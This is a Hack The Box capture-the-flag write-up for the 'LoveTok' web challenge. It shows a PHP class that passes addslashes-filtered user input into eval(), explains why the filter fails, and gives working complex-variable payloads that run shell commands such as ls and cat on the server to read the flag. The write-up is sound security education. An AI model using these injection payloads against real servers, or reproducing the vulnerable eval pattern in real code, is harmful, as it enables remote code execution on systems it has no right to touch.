> For the complete documentation index, see [llms.txt](https://learn.samuelepadula.it/learn/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://learn.samuelepadula.it/learn/hack-the-box/challenges/lovetok.md).

# LoveTok

True love is tough, and even harder to find. Once the sun has set, the lights close and the bell has rung... you find yourself licking your wounds and contemplating human existence. You wish to have somebody important in your life to share the experiences that come with it, the good and the bad. This is why we made LoveTok, the brand new service that accurately predicts in the threshold of milliseconds when love will come knockin' (at your door). Come and check it out, but don't try to cheat love because love cheats back. 💛

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FoFhFEyZ9Qgy9fIk745gb%2Fimage.png?alt=media&amp;token=2d8fb79c-10ee-490a-985b-6a831944b967" alt=""><figcaption></figcaption></figure>

If we try to change the GET parameter manually we obtain different results:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2Fhnahsxlo42TfzgfjJJGa%2Fimage.png?alt=media&amp;token=b33c9550-c571-4925-8d71-a9953e3532ab" alt=""><figcaption></figcaption></figure>

If we inspect the code:

{% code title="TimeModel.php" overflow="wrap" %}

```php
<?php
class TimeModel
{
public function __construct($format)
{ 
$this->format = addslashes($format);

[ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
$this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
}

public function getTime()
{
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
return isset($time) ? $time : 'Something went terribly wrong';
}
}
```

{% endcode %}

The function `addslashes()` return a string with backslashes in front of predefined characters.

The predefined characters are:

* single quote (')
* double quote (")
* backslash (\\)
* NULL

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2F2IRf3O5r2Kf8RE4xBafO%2Fimage.png?alt=media&amp;token=a849a818-8931-4253-9b28-75f3b19ad8c5" alt=""><figcaption></figcaption></figure>

Here the vulnerable code is this single line:

{% code overflow="wrap" %}

```php
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
```

{% endcode %}

Just like SQL injection, we should be able to end the quote and add our malicious code into the eval() as shown below. The highlighted part of the code is the value I could have added from my parameter to end the quote and do a system call resulting in RCE:

{% code overflow="wrap" fullWidth="true" %}

```php
eval('$time = date("");system("ls /")//", strtotime("'' . $this->prediction . '"));');
                    ^^^^^^^^^^^^^^^^^^^

```

{% endcode %}

Just remember that there is an `addslashes()` that will sanitize our input. We may use other ways to bypass it. Use of URL encoding will not work as $\_GET will automatically decode our encoding before running addslashes(). I came across an interesting article to bypass addslashes() using a *<mark style="color:red;">**complex variable**</mark>*. Basically, complex variables will utilize:

* double quotes (“)
* &#x20;$ variable in them&#x20;
* {} barriers.

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FHA7UcwTkMctLcfrK6g5M%2Fimage.png?alt=media&amp;token=7a43a7a5-9dbc-48d3-a1c3-a8654c666573" alt=""><figcaption></figcaption></figure>

First we can try to execute `phpinfo()` function using complex variable syntax:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FtM3A63PUPxailWIScBx2%2Fimage.png?alt=media&amp;token=8fec4f5c-2e73-49fb-a237-c9e47576277d" alt=""><figcaption></figcaption></figure>

If we try to use directly the command that we want to execute we receive a blank page because the `addslashes()` break the code with escaping single quote:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2Fv0CZTI1lHk73m7LIkoTE%2Fimage.png?alt=media&amp;token=632589e4-d7bb-4b8d-9d0c-bbae5e296b8c" alt=""><figcaption></figcaption></figure>

```
?format=${system($_GET[c])}&c=ls -lah
```

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FjWUIzxpIk8tuirocI58s%2Fimage.png?alt=media&amp;token=da4c938c-522f-44fd-8240-553ef8766d66" alt=""><figcaption></figcaption></figure>

We can see the prettyfied output using CTRL+U:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2F1pfbLa2FeumhoeMg0cuy%2Fimage.png?alt=media&amp;token=eac3724d-e220-460d-8e32-f9b618949eb1" alt=""><figcaption></figcaption></figure>

List files under root directory:

```
?format=${system($_GET[c])}&c=ls -lah /
```

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2F5jJq2T0RIt9kSXkRXymS%2Fimage.png?alt=media&amp;token=32492827-eeb2-461d-8dc8-8e56ba43073e" alt=""><figcaption></figcaption></figure>

Print the content of flag:

```
?format=${system($_GET[c])}&c=cat /flagUUR3k
```

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2F612MNuQRd8ujS7hNeVcG%2Fimage.png?alt=media&amp;token=62130e3b-5868-4270-a1d6-9ef5294da1c2" alt=""><figcaption></figcaption></figure>
